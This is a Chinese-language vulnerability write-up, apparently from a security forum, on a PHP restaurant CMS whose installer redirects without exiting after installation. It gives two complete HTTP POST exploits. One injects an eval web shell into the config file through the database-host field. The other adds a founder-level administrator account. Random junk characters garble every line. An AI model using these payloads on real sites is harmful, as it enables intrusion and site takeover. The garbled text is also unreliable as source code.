问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。$ a7 f+ }4 T+ b6 C, I
, `- v3 @& D- ]; n( r<?php
6 E$ P( Q5 V7 Eif(file_exists("../install.lock"))
% k% M& G* `' l2 M{
# V$ R$ v7 X/ b) E: Q4 q header("Location: ../");//没有退出5 b, M! z( a6 V) q
}
. ~/ J! z5 O+ b( R: d+ {9 e
: G1 Q- Z; Y$ ~$ S: f1 h9 e//echo 'tst';exit;
5 H8 j+ _2 W1 \2 U' g; D9 lrequire_once("init.php");
& G( [3 N$ b/ I9 E" eif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
& S, j/ E" m1 T8 B1 c{
, r$ ^' s; I# I7 X9 ?可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。7 o3 E( t! L5 f
+ o1 \* q. x$ K+ v; L3 M5 _( @
1、getshell(很危险); X) v6 B) O0 b& a+ P* K: p
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)( p# V5 ^) q! a3 o
{* ^* @+ k3 A7 O+ H5 o' L( N8 d8 n3 K$ O
$smarty->assign("step",1);
+ I6 o2 ], d; b$ Y$smarty->display("index.html");
. U! S R* g/ v: F$ f}elseif($_REQUEST['step']==2)
& S. _1 I8 U& k3 ~: q, P$ ]- J{
9 N! n4 k! |% C6 o6 ]+ b4 Y $mysql_host=trim($_POST['mysql_host']);/ T8 G7 b6 E" C3 \1 ^7 W5 t
$mysql_user=trim($_POST['mysql_user']);( T% l7 ^$ W( }" K: z
$mysql_pwd=trim($_POST['mysql_pwd']);; k2 P+ s4 _' D
$mysql_db=trim($_POST['mysql_db']);
1 R4 a0 a) R4 c% H% D $tblpre=trim($_POST['tblpre']);- B. }% S2 U+ j X; W! M' L$ [
$domain==trim($_POST['domain']);; K, i9 b, i: N2 ~ y2 Q
$str="<?php \r\n";
6 g% q) a9 H# S! p6 G $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";- |, n s$ N7 T' S$ C/ D/ O
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";/ S! M! ?" q4 Z. g: ?
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
' I* h+ j& S$ G( S7 x6 D4 c7 O $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";% o3 k4 }7 x+ H8 s
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
" V4 a6 b% z. x V6 G $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";& q7 x, G$ Z0 S$ V( M
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
) J3 B5 A4 x7 H* t1 W: I6 F $str.='define("SKINS","default");'."\r\n";3 r( r8 u+ s- B, H6 [$ \
$str.='?>';
. m* t U7 X! y# ]# H file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件' F" x7 K" r$ [ y: D
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马" t. v1 Q. q/ n' w1 Q
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
4 Z4 P2 f, X& N$ K7 A6 Y p" Y- g. uHost: 192.168.80.129
9 e2 s2 c* ?' SUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
; B" c& |2 V. M& a5 ~: e+ A7 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
) T" u# z) y# Q, s& L2 VAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3, t/ v) Z9 f3 e' ~. X9 _9 H
Accept-Encoding: gzip, deflate
- J& ^6 G+ n0 F; eReferer: http://192.168.80.129/canting/install/index.php?step=15 k. {! y' @0 T" C M( b4 d+ Q
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
! `' b6 S1 R4 T2 @- i2 f) JContent-Type: application/x-www-form-urlencoded
: {* ?8 {9 v& @6 r0 q, T/ d0 R+ jContent-Length: 126" S3 \$ K6 j( u0 L
6 d2 l. w/ o2 ?- |. p4 q7 r
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD5 ^# ~" D6 F, U5 S. ~
但是这个方法很危险,将导致网站无法运行。
j& ]/ D3 o; u5 S4 Y5 b) ~
7 c. {+ Z2 H5 T. i- @* @2、直接添加管理员& v( x/ Q v( D% Z& i
; B# U/ b, }; \6 _$ z1 U" @) zelseif($_REQUEST['step']==5)
" `' X$ \/ X. J( x, Z{
* R o) S7 j g/ p if($_POST) T7 D6 L% g$ K* j& d, f+ W7 e* e0 k
{ require_once("../config/config.inc.php");
# E: c& w9 O; E. C* u' f $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
Y" F" b' X' Z6 ? mysql_select_db(MYSQL_DB,$link);8 r& _% D2 K1 z" y4 ]) ?
mysql_query("SET NAMES ".MYSQL_CHARSET );# R6 Z V2 s" ?1 D- W$ N5 W4 _
mysql_query("SET sql_mode=''");/ [# x/ n+ I6 {
4 M& @1 N5 n- V3 h, B+ D
$adminname=trim($_POST['adminname']);
1 e5 K$ H) ^7 c# {- @# Q2 w $pwd1=trim($_POST['pwd1']);* z2 O4 @/ r C5 x: E# N; c
$pwd2=trim($_POST['pwd2']);" K9 s3 l6 U% ?: V4 Y
if(empty($adminname)), ` _$ R9 x" l y$ G, s3 R0 N
{
; k) J( W/ l6 ?
9 ?6 y% \" `2 i. `, z2 L echo "<script>alert('管理员不能为空');history.go(-1);</script>";
2 A) J& j/ m) H7 m; J0 w+ Z exit();
- v0 n# W7 y. i6 }3 g; P }/ x5 v3 m0 ^( X2 H% ?
if(($pwd1!=$pwd2) or empty($pwd1)). f! v4 Y+ @3 t+ H/ g
{* R0 s) A3 J3 g5 K4 u
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出 ?# \, f; h+ ^) R
}( m1 A h* P* a g; u
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
! A2 y. p$ a; y4 V% }# W }
' C: M& x! ^2 ` k% d9 ]0 g5 E这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:$ ]+ J; U- n$ U( j2 S r
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
# o! a0 B$ T% s, b: @' `Host: 192.168.80.129+ [, v1 Y2 t, l# r& Z
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.02 W# t3 @: O1 |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.84 n4 B' d# ]& }6 h" c% f, o8 E
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
1 U; o% p$ z! N; K: cAccept-Encoding: gzip, deflate
* l/ H9 A8 O6 GReferer: http://www.2cto.com /canting/install/index.php?step=1* e9 A! `8 X. b- I& k
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42' a7 W, ]8 C. ?" Z; N/ |
Content-Type: application/x-www-form-urlencoded
( I. I3 f% g& o. f1 Q' e+ @, y0 GContent-Length: 46
7 T' ^% K# P3 w" {0 ^$ R. x : `$ w: M, L% m% T' ?+ t! l$ l" e
adminname=qingshen&pwd1=qingshen&pwd2=qingshen, n9 q5 ]3 {" ?/ u$ i
|